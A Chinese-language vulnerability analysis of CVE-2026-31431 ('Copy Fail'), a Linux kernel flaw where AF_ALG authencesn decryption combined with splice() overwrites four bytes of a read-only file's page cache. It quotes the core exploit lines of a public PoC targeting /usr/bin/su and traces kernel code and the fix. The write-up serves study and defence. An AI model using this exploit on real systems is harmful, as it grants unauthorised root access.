文章目录
- 简介
- poc
- sendmsg
- splice
- splice状态下的sendmsg
- recv
- 修复补丁
- 总结
- AI boom!
- CVE漏洞库信息
- 参考
简介
漏洞自linux 4.13-rc1引入
# git show 72548b093ee3:Makefile VERSION = 4 PATCHLEVEL = 13 SUBLEVEL = 0 EXTRAVERSION = -rc1 NAME = Fearless Coyote借助这个最广为流传的poc查看漏洞原理
- copy_fail_exp.py
内核构建需启用这些特性:
CONFIG_CRYPTO_USER CRYPTO_USER_API_AEAD CONFIG_CRYPTO_AEAD CRYPTO_AUTHENC内核代码注释
poc
原poc是AI写的,不易读,经过调整,注释,最关键的部分是这几行:
CVE-2026-31431/poc/copy_fail_exp.py a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) """ ref: crypto/authenc.c: crypto_authenc_extractkeys struct { __u16 rta_len; // 8 (__u16 + __u16 + __be32 前三个成员, 即struct rtattr) __u16 rta_type; // 1 = CRYPTO_AUTHENC_KEYA_PARAM __be32 enckeylen; // 16 u8 authkey[16]; // 16 u8 enckey[16]; // 16 cbc(aes)加密秘钥 }; """ a.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, struct.pack('=HH', 8, 1) + struct.pack('>I16s16s', 16, b'\x00' * 16, b'\x00' * 16)) a.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 4) # tag的大小 u, _ = a.accept() u.sendmsg([b"A" * 4 + content], # AAD [ (socket.SOL_ALG, socket.ALG_SET_OP, b'\x00' * 4), # 解密行为 (socket.SOL_ALG, socket.ALG_SET_IV, b'\x10'+ b'\x00' * 19), # cbc(aes)初始化向量 (socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, b'\x08'+ b'\x00' * 3) # AAD长度为8 ], socket.MSG_MORE) """ f的文件内容发送给u, 发送的是 ct(已加密待解密) | tag, 因为tag 4字节, 所以一共发送的 CT 是0 """ r, w = os.pipe() os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock 两者合并,等于文件f的page给了socket try: u.recv(8 + index) # 收到的是AAD | CT(0) except: 0调整后代码:
- copy_fail_exp.py
主要分为3个步骤:
- sendmsg
- 发送AAD,aead中的authencesn算法会用到,8字节的AAD会被authencesn当做一种序列号,这个序列号后面会被调整位置
- splice
- 把文件的页绑定上来,攻击就是发生在这里,页会被修改,一次修改4字节
- recv
- aead真正执行的地方,af_alg的流程中,sendmsg仅仅是保存数据,最后recv时候才加解密
aead用到的几个标签简单解释:
* TX SGL: AAD || CT || Tag(解密需要tag) * | | ^ * | copy | | Create SGL link. * v v | * RX SGL: AAD || CT ----+- AAD
- 用于计算摘要的时候连带一起,当解密时候用来判断AAD是不是最开始的,增加安全性,poc里AAD 8字节
- CT
- 已加密 待解密数据,poc脚本里没有传递这个
- Tag
- 根据 AAD + 明文 一起生成 加密时:Tag = HMAC(AAD || 明文,解密时候需要带上
sendmsg
第一次sendmsg发生在u.sendmsg([b"A" * 4 + content],这8个字节是AAD。af_alg_sendmsg是AF_ALG套接字发送消息的核心函数,负责将用户态数据拷贝到内核的ctx->tsgl_list中暂存,等待后续recv时执行加解密操作。
crypto/af_alg.c: 937 int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size, unsigned int ivsize) // 消息拷贝到ctx->tsgl_list->sg中 { struct sock *sk = sock->sk; struct af_alg_ctx *ctx = ask->private; // 一个accept后的sock上下文 struct af_alg_tsgl *sgl; // 一系列scatterlist,打包一系列的page bool enc = false; // 是否加密 poc用的是socket.SOL_ALG, socket.ALG_SET_OP, b'\x00' * 4 解密行为 while (size) { struct scatterlist *sg; size_t len = size; ssize_t plen; /* allocate a new page */ len = min_t(unsigned long, len, af_alg_sndbuf(sk)); err = af_alg_alloc_tsgl(sk); // ctx->tsgl_list空间确保充足 if (err) goto unlock; sgl = list_entry(ctx->tsgl_list.prev, struct af_alg_tsgl, list); // 指向ctx->tsgl_list最后一个 sg = sgl->sg; if (msg->msg_flags & MSG_SPLICE_PAGES) { // splice时候复用page ... 这是下一章节splice用的地方 ... } else { do { struct page *pg; unsigned int i = sgl->cur; plen = min_t(size_t, len, PAGE_SIZE); pg = alloc_page(GFP_KERNEL); sg_assign_page(sg + i, pg); // 保存pg地址到page_link err = memcpy_from_msg( page_address(sg_page(sg + i)), msg, plen); // 拷贝AAD到页中af_alg_sendmsg在非splice路径下,会通过alloc_page新分配一个物理页,然后使用memcpy_from_msg将用户态的AAD数据拷贝到该页中,并将这个页挂到ctx->tsgl_list链表上。此时ctx->used累加为8(AAD的大小),ctx->more由于设置了MSG_MORE标志而为真,表示后续还有数据要发送。
这一步主要是新申请一个page,存储AAD,放到ctx->tsgl_list列表中,这个列表可以理解为一次accept后对这个socket发送的数据都暂存到这里
splice
splice系统调用也会到sendmsg这里。与普通sendmsg不同,splice路径不会拷贝数据,而是直接传递页引用,这是漏洞利用的关键——文件的缓存页会被直接绑定到AF_ALG套接字的TX SGL中,后续解密时对该页的写入会直接修改文件缓存。
#0 af_alg_sendmsg (sock=0xffff888003a0c000, msg=0xffffc90000753c58, size=4, ivsize=16) at crypto/af_alg.c:939 #1 0xffffffff8157c23e in aead_sendmsg (sock=<optimized out>, msg=<optimized out>, size=<optimized out>) at crypto/algif_aead.c:71 #2 0xffffffff818caacb in sock_sendmsg_nosec (msg=0xffffc90000753c58, sock=0xffff888003a0c000) at net/socket.c:730 #3 __sock_sendmsg (msg=0xffffc90000753c58, sock=0xffff888003a0c000) at net/socket.c:745 #4 sock_sendmsg (sock=sock@entry=0xffff888003a0c000, msg=msg@entry=0xffffc90000753c58) at net/socket.c:768 #5 0xffffffff81387d75 in splice_to_socket (pipe=<optimized out>, out=0xffff888005ebbb00, ppos=<optimized out>, len=4, flags=0) at fs/splice.c:881 #6 0xffffffff813883ec in do_splice_from (flags=82964480, len=4, ppos=0xffffc90000753e38, out=0xffff888005ebbb00, pipe=0xffff888004e39780) at fs/splice.c:933 #7 do_splice (in=in@entry=0xffff888005ebbd00, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff888005ebbb00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=4, flags=<optimized out>, flags@entry=0) at fs/splice.c:1292 #8 0xffffffff81388ae2 in __do_splice (in=in@entry=0xffff888005ebbd00, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff888005ebbb00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=4, flags=flags@entry=0) at fs/splice.c:1370 #9 0xffffffff81388c49 in __do_sys_splice (flags=0, len=4, off_out=0x0 <fixed_percpu_data>, fd_out=<optimized out>, off_in=0x0 <fixed_percpu_data>, fd_in=<optimized out>) at fs/splice.c:1586 #10 __se_sys_splice (flags=0, len=4, off_out=0, fd_out=<optimized out>, off_in=0, fd_in=<optimized out>) at fs/splice.c:1568 #11 __x64_sys_splice (regs=<optimized out>) at fs/splice.c:1568 #12 0xffffffff810042ba in x64_sys_call (regs=regs@entry=0xffffc90000753f58, nr=<optimized out>) at ./arch/x86/include/generated/asm/syscalls_64.h:276 #13 0xffffffff81b3dc29 in do_syscall_x64 (nr=<optimized out>, regs=0xffffc90000753f58) at arch/x86/entry/common.c:51 #14 do_syscall_64 (regs=0xffffc90000753f58, nr=<optimized out>) at arch/x86/entry/common.c:81af_alg_sendmsg需要msg参数,存储的是send的消息
sendmsg系统调用时候,msg里的内容是用户态的消息的一份拷贝,而借助splice之后,传递给sendmsg的msg里指向的page则没有发生拷贝了,直接传递的是管道page引用。调用栈从__x64_sys_splice→do_splice→splice_to_socket→sock_sendmsg→aead_sendmsg→af_alg_sendmsg,可以看到splice最终也走到了af_alg_sendmsg。
对应poc:os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock
fs/splice.c: 791 ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { struct socket *sock = sock_from_file(out); struct bio_vec bvec[16]; struct msghdr msg = {}; pipe_lock(pipe); while (len > 0) { unsigned int head, tail, mask, bc = 0; size_t remain = len; // 剩余需要传送的Byte head = pipe->head; tail = pipe->tail; mask = pipe->ring_size - 1; while (!pipe_empty(head, tail)) { struct pipe_buffer *buf = &pipe->bufs[tail & mask]; size_t seg; if (!buf->len) { tail++; continue; } seg = min_t(size_t, remain, buf->len); // 一次传送的大小 bvec_set_page(&bvec[bc++], buf->page, seg, buf->offset); // bv->bv_page = page; bv->bv_len = len; bv->bv_offset = offset; 这里直接传递的page,而不是拷贝数据 remain -= seg; if (remain == 0 || bc >= ARRAY_SIZE(bvec)) break; tail++; } if (!bc) break; iov_iter_bvec(&msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); // 后面的信息都组装到msg.msg_iter中 ret = sock_sendmsg(sock, &msg);splice_to_socket函数将管道中的页通过bvec_set_page直接引用(而非拷贝),然后通过iov_iter_bvec组装到msg.msg_iter中,最终调用sock_sendmsg传递给AF_ALG套接字。这意味着管道中的页——也就是文件缓存页——被直接传递到了af_alg_sendmsg中。
而上一行的splice系统调用:os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag恰恰文件/usr/sbin/su的缓存page交给了管道
#0 filemap_splice_read (in=0xffff888004f38800, ppos=0xffffc90000753e38, pipe=0xffff888004f2be40, len=12, flags=0) at mm/filemap.c:2928 #1 0xffffffff81404b8f in ext4_file_splice_read (in=<optimized out>, ppos=<optimized out>, pipe=<optimized out>, len=<optimized out>, flags=<optimized out>) at fs/ext4/file.c:158 #2 0xffffffff813861a8 in vfs_splice_read (flags=0, len=12, pipe=0xffff888004f2be40, ppos=0xffffc90000753e38, in=0xffff888004f38800) at fs/splice.c:993 #3 vfs_splice_read (in=0xffff888004f38800, ppos=0xffffc90000753e38, pipe=0xffff888004f2be40, len=<optimized out>, flags=0) at fs/splice.c:962 #4 0xffffffff81387fad in splice_file_to_pipe (in=in@entry=0xffff888004f38800, opipe=opipe@entry=0xffff888004f2be40, offset=0xffffc90000753e38, len=len@entry=12, flags=0) at fs/splice.c:1233 #5 0xffffffff81388610 in do_splice (in=in@entry=0xffff888004f38800, off_in=off_in@entry=0xffffc90000753e98, out=out@entry=0xffff888004f38e00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=12, flags=<optimized out>, flags@entry=0) at fs/splice.c:1313 #6 0xffffffff813889a3 in __do_splice (in=in@entry=0xffff888004f38800, off_in=off_in@entry=0x7fff5167d598, out=out@entry=0xffff888004f38e00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=12, flags=flags@entry=0) at fs/splice.c:1370 #7 0xffffffff81388c49 in __do_sys_splice (flags=0, len=12, off_out=0x0 <fixed_percpu_data>, fd_out=<optimized out>, off_in=0x7fff5167d598, fd_in=<optimized out>) at fs/splice.c:1586 #8 __se_sys_splice (flags=0, len=12, off_out=0, fd_out=<optimized out>, off_in=140734559147416, fd_in=<optimized out>) at fs/splice.c:1568 #9 __x64_sys_splice (regs=<optimized out>) at fs/splice.c:1568 #10 0xffffffff810042ba in x64_sys_call (regs=regs@entry=0xffffc90000753f58, nr=<optimized out>) at ./arch/x86/include/generated/asm/syscalls_64.h:276第一个splice调用os.splice(f, w, index + 4, offset_src=0)通过filemap_splice_read(对于ext4文件系统则是ext4_file_splice_read)将文件/usr/bin/su的缓存页读取到管道中。这里的关键是filemap_splice_read不会拷贝文件内容到新页,而是直接将文件页缓存(page cache)的引用放入管道,因此管道中持有的是su文件在页缓存中的原始页。
两行splice系统调用,把文件的page交给了sendmsg
splice状态下的sendmsg
在af_alg_sendmsg函数中,专门针对splice情况特殊处理,不再拷贝page了,直接把从文件缓冲的page再次直接引用。当msg->msg_flags中包含MSG_SPLICE_PAGES标志时,af_alg_sendmsg走extract_iter_to_sg分支,将msg->msg_iter中的页引用直接添加到ctx->tsgl_list中,而不是分配新页并拷贝数据。
crypto/af_alg.c: 937 int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size, unsigned int ivsize) // 消息拷贝到ctx->tsgl_list->sg中 { struct sock *sk = sock->sk; struct alg_sock *ask = alg_sk(sk); struct af_alg_ctx *ctx = ask->private; // 一个accept后的sock上下文 struct af_alg_tsgl *sgl; // 一系列scatterlist,打包一系列的page while (size) { struct scatterlist *sg; size_t len = size; ssize_t plen; /* allocate a new page */ len = min_t(unsigned long, len, af_alg_sndbuf(sk)); sgl = list_entry(ctx->tsgl_list.prev, struct af_alg_tsgl, list); // 指向ctx->tsgl_list最后一个 sg = sgl->sg; if (msg->msg_flags & MSG_SPLICE_PAGES) { // splice时候复用page struct sg_table sgtable = { .sgl = sg, .nents = sgl->cur, .orig_nents = sgl->cur, }; plen = extract_iter_to_sg(&msg->msg_iter, len, &sgtable, MAX_SGL_ENTS - sgl->cur, 0); // msg->msg_iter里的page放到ctx->tsgl_list中extract_iter_to_sg将msg->msg_iter中引用的页(即来自管道的文件缓存页)直接添加到ctx->tsgl_list的scatterlist中,然后通过get_page增加引用计数。这里没有发生任何数据拷贝,ctx->tsgl_list中的第二个scatterlist条目直接指向了/usr/bin/su文件的页缓存。
所以到这里,文件缓存page从管道来到了af_alg模块ctx->tsgl_list中
在第一次处理4直接的过程中,ctx->tsgl_list一共有两个page
- 8字节的AAD,来自
u.sendmsg([b"A" * 4 + content], # AAD,这一个page是拷贝的page - 4字节的文件内容,来自
os.splice(f, w, index + 4, offset_src=0); os.splice(r, u.fileno(), count=index + 4),来自文件的缓存page,直接引用,没有拷贝
recv
接收的时候先准备做加解密的内存空间。_aead_recvmsg是AEAD解密的核心入口,它需要准备RX SGL(接收缓冲区)和TX SGL(发送缓冲区,即之前sendmsg/splice暂存的数据),然后调用底层crypto API执行解密。漏洞就发生在RX SGL的构建过程中——"原地优化"使得src和dst指向了同一组SGL。
第一块空间来自于recv时用户态提供的空间,即u.recv(8 + index)
static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, size_t ignored, int flags) { /* convert iovecs of output buffers into RX SGL */ err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages); // 从msg中提取page到areq->rsgl_list,这里的msg是接收缓冲区 最大提取字节数 maxsize = outlen = 8,只占用8字节af_alg_get_rsgl从用户态recv缓冲区(msg)中提取页到areq->rsgl_list(即RX SGL)。此时outlen = used - as = 12 - 4 = 8(used = ctx->used = 12,即8字节AAD + 4字节tag;as = ctx->aead_assoclen = 4,但实际AAD长度为8,这里as是控制消息中设置的ALG_SET_AEAD_ASSOCLEN值),所以RX SGL最多只映射8字节的用户空间。这8字节对应AAD(8字节),CT长度为0。
不过接下来,漏洞commit引入了下面的代码:
“原地优化”,aead需要在rx的缓冲区后面多写入一点点东西,写完后撤回,所以在rx后面跟了一个tag的页面,现在rx和tx指向的页面都一样了,rx中也有的一个tag页面来自于文件su的缓存。具体流程是:先将TX SGL中的AAD||CT拷贝到RX SGL(crypto_aead_copy_sgl),然后从TX SGL中提取tag页到areq->tsgl(af_alg_pull_tsgl),最后将tag页链接到RX SGL末尾(sg_chain)。这样RX SGL就变成了AAD||CT||Tag的完整布局,且rsgl_src被设置为RX SGL本身,导致后续aead_request_set_crypt中src和dst指向同一组SGL。
/* Use the RX SGL as source (and destination) for crypto op. */ rsgl_src = areq->first_rsgl.sgl.sgt.sgl; if (ctx->enc) { ...加密相关 poc是解密... } else { /* * Decryption operation - To achieve an in-place cipher * operation, the following SGL structure is used: * * TX SGL: AAD || CT || Tag(解密需要tag AAD|CT拷贝到Rx Tag使用sgl引用) * | | ^ * | copy | | Create SGL link. * v v | * RX SGL: AAD || CT ----+ */ /* Copy AAD || CT to RX SGL buffer for in-place operation. */ err = crypto_aead_copy_sgl(null_tfm, tsgl_src, // tsgl_src指向ctx->tsgl_list areq->first_rsgl.sgl.sgt.sgl, outlen); // memcpy(areq->first_rsgl.sgl.sgt.sgl, tsgl_src, outlen); outlen = used - tag的大小 拷贝tx的AAD | CT到rx中 if (err) goto free; /* Create TX SGL for tag and chain it to RX SGL. */ areq->tsgl_entries = af_alg_count_tsgl(sk, processed, processed - as); // 计算需要多少scatterlist条目来存储tag数据 if (!areq->tsgl_entries) areq->tsgl_entries = 1; areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl), areq->tsgl_entries), GFP_KERNEL); // 分配scatterlist数组 tx sgl if (!areq->tsgl) { err = -ENOMEM; goto free; } sg_init_table(areq->tsgl, areq->tsgl_entries); // 现在只申请了tag的空间,开头的aad借用rx的sgl,到时候src/dst都是相同的page /* Release TX SGL, except for tag data and reassign tag data. */ af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as); // 从ctx->tsgl_list提取tag所在page转移到areq->tsgl ctx->tsgl_list取完了释放 /* chain the areq TX SGL holding the tag with RX SGL */ if (usedpages) { // tag page接在rx list后 /* RX SGL present */ struct af_alg_sgl *sgl_prev = &areq->last_rsgl->sgl; struct scatterlist *sg = sgl_prev->sgt.sgl; sg_unmark_end(sg + sgl_prev->sgt.nents - 1); // 移除前一个scatterlist的结束标记 sg_chain(sg, sgl_prev->sgt.nents + 1, areq->tsgl); // 将tag的scatterlist链接到RX SGL末尾 *(areq->last_rsgl->sgl->sgt.sgl + 1) } else /* no RX SGL present (e.g. authentication only) */ rsgl_src = areq->tsgl; // 没有RX SGL,直接使用tag的scatterlist作为源 } ...... err = crypto_wait_req(ctx->enc ? crypto_aead_encrypt(&areq->cra_u.aead_req) : crypto_aead_decrypt(&areq->cra_u.aead_req), &ctx->wait); // 加密/解密 }上述代码的关键步骤:
rsgl_src = areq->first_rsgl.sgl.sgt.sgl:将源SGL设置为RX SGLcrypto_aead_copy_sgl(null_tfm, tsgl_src, areq->first_rsgl.sgl.sgt.sgl, outlen):将TX SGL中的AAD||CT(共8字节)拷贝到RX SGL中af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as):从ctx->tsgl_list中提取tag所在的页(即su文件的缓存页)到areq->tsgl中,processed = 12,processed - as = 8,表示从偏移8开始提取sg_chain(sg, sgl_prev->sgt.nents + 1, areq->tsgl):将tag页链接到RX SGL末尾,此时RX SGL = AAD||CT||Tag(文件缓存页)aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv):设置crypto请求,src和dst都指向RX SGL,used = 4(扣除AAD后的加密数据长度)
最终导致在这一行中,AAD的低4字节写入到了tag页中scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // 将序列号后4字节写到数据末尾)
crypto/authencesn.c: 267 static int crypto_authenc_esn_decrypt(struct aead_request *req) { unsigned int assoclen = req->assoclen; // AAD大小 unsigned int cryptlen = req->cryptlen; // used 已加密的长度,来源于文件f,需要解密 struct scatterlist *dst = req->dst; u32 tmp[2]; /* Move high-order bits of sequence number to the end. */ scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 读取8字节序列号,u.sendmsg([b"A" * 4 + content] scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 将序列号高位(前4字节)写到偏移4位置 scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // 将序列号后4字节写到数据末尾crypto_authenc_esn_decrypt是authencesn算法的解密函数,它需要将ESN(Extended Sequence Number)的高位移动到数据末尾。由于"原地优化"导致req->src == req->dst,。然后scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)在dst(即RX SGL)的偏移assoclen + cryptlen = 8 + 0 = 8处写入4字节,而偏移8恰好是tag页的位置——也就是/usr/bin/su文件的缓存页。写入的内容是tmp + 1,即AAD的低4字节。
tag页是su文件的缓存:
os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock 两者合并,等于文件f的page给了socketAAD的低4字节是需要覆盖su的新指令:
u.sendmsg([b"A" * 4 + content], # AAD修复补丁
补丁961cfa271a918ad4ae452420e7c303149002875b撤销了72548b093ee3(“crypto: algif_aead - copy AAD from src to dst”)提交。为每次请求分配完整的TX SGL(包含AAD||CT||Tag),使用memcpy_sglist将AAD从TX SGL拷贝到RX SGL,并确保aead_request_set_crypt中src和dst分别指向不同的SGL。
@@ -154,23 +152,24 @@ static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, outlen -= less; } + /* + * Create a per request TX SGL for this request which tracks the + * SG entries from the global TX SGL. + */ processed = used + ctx->aead_assoclen; - list_for_each_entry_safe(tsgl, tmp, &ctx->tsgl_list, list) { - for (i = 0; i < tsgl->cur; i++) { - struct scatterlist *process_sg = tsgl->sg + i; - - if (!(process_sg->length) || !sg_page(process_sg)) - continue; - tsgl_src = process_sg; - break; - } - if (tsgl_src) - break; - } - if (processed && !tsgl_src) { - err = -EFAULT; + areq->tsgl_entries = af_alg_count_tsgl(sk, processed); // tsgl需要的大小是完整的AAD|CT|Tag了(错误补丁只申请Tag的大小) + if (!areq->tsgl_entries) + areq->tsgl_entries = 1; + areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl), + areq->tsgl_entries), + GFP_KERNEL); + if (!areq->tsgl) { + err = -ENOMEM; goto free; } + sg_init_table(areq->tsgl, areq->tsgl_entries); + af_alg_pull_tsgl(sk, processed, areq->tsgl); // 从ctx->tsgl_list中提取所有消息(错误补丁中只拷贝了Tag部分) + tsgl_src = areq->tsgl;第一处修改:修复后的代码为每次请求分配完整的TX SGL(af_alg_count_tsgl(sk, processed)计算的是AAD||CT||Tag全部的scatterlist条目数,而非漏洞版本中只计算Tag部分af_alg_count_tsgl(sk, processed, processed - as)),然后通过af_alg_pull_tsgl将ctx->tsgl_list中的所有数据(包括AAD、CT和Tag)提取到areq->tsgl中,并将tsgl_src指向areq->tsgl而非RX SGL。
@@ -179,75 +178,15 @@ static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, * when user space uses an in-place cipher operation, the kernel * will copy the data as it does not see whether such in-place operation * is initiated. - * - ...... - rsgl_src = areq->tsgl; - } + memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen); // tx的AAD拷贝到RX中 /* Initialize the crypto operation */ - aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, + aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, areq->first_rsgl.sgl.sg, used, ctx->iv); // tsgl_sr指向的是完整申请的areq->tsgl,src/dst不再是相同的sgl第二处修改:修复后的代码使用memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen)将TX SGL中的AAD拷贝到RX SGL中,并在aead_request_set_crypt中将src设置为tsgl_src(指向areq->tsgl,包含完整的AAD||CT||Tag),dst设置为areq->first_rsgl.sgl.sg(RX SGL)。
总结
漏洞的根因是commit72548b093ee3引入的"原地优化":在_aead_recvmsg解密路径中,将rsgl_src设置为RX SGL本身,使得aead_request_set_crypt中src和dst指向同一组SGL。这导致crypto_authenc_esn_decrypt中req->src == req->dst,随后authencesn.c:scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)直接向dst(RX SGL)写入数据。而RX SGL末尾链接的tag页是通过splice来自文件的页缓存页,写入操作直接修改了文件缓存,实现了对任意可读文件的4字节覆盖。
本次漏洞的poc代码也非常简练、高效,最简单的代码即实现漏洞利用,解密不要求解密成功,漏洞利用恰好每次写入到文件缓存的4个字节位置。
- 2011年 authencesn 功能上线 ipsec协议相关
- 2014年 AF_ALG 用户态调用内核加密子系统上线
- 2015年 af_alg, aead上线,支持splice
- 2017年 aead 原地优化补丁上线
AI boom!
原文:
- Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.
本次漏洞是韩国人李泰阳发现,他首先是发现af_alg, aead结合splice会将仅可读的page缓存引入到加密子系统,接下来他借助AI漏洞工具Xint输入:
This is the linux crypto/ subsystem. Please examine all codepaths reachable from userspace syscalls. Note one key observation: splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists.
这是 Linux 的加密/子系统。请检查所有可从用户空间系统调用访问的代码路径。注意一个关键观察:splice() 可以将只读文件(包括 setuid 二进制)的页面缓存引用传递给加密 TX 散点表。
一个小时后,boom,该漏洞被发现!
CVE漏洞库信息
- openanolis
- openatom
- 阿里云漏洞库
参考
- Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.
- 鹅厂架构师: 一个让 Linus Torvalds “不明觉赞” 的内核优化与修复历程
- CVE-2026-31431: authencesn Has Been Writing Those Four Bytes for Nine Years. The Patch Is Not in authencesn.